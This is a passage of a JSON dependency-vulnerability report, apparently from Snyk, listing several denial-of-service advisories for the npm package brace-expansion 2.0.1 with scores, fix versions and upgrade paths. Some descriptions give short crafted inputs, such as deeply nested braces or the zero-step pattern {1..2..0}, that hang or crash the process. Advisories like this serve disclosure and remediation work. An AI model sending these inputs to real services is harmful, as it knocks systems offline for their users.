"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
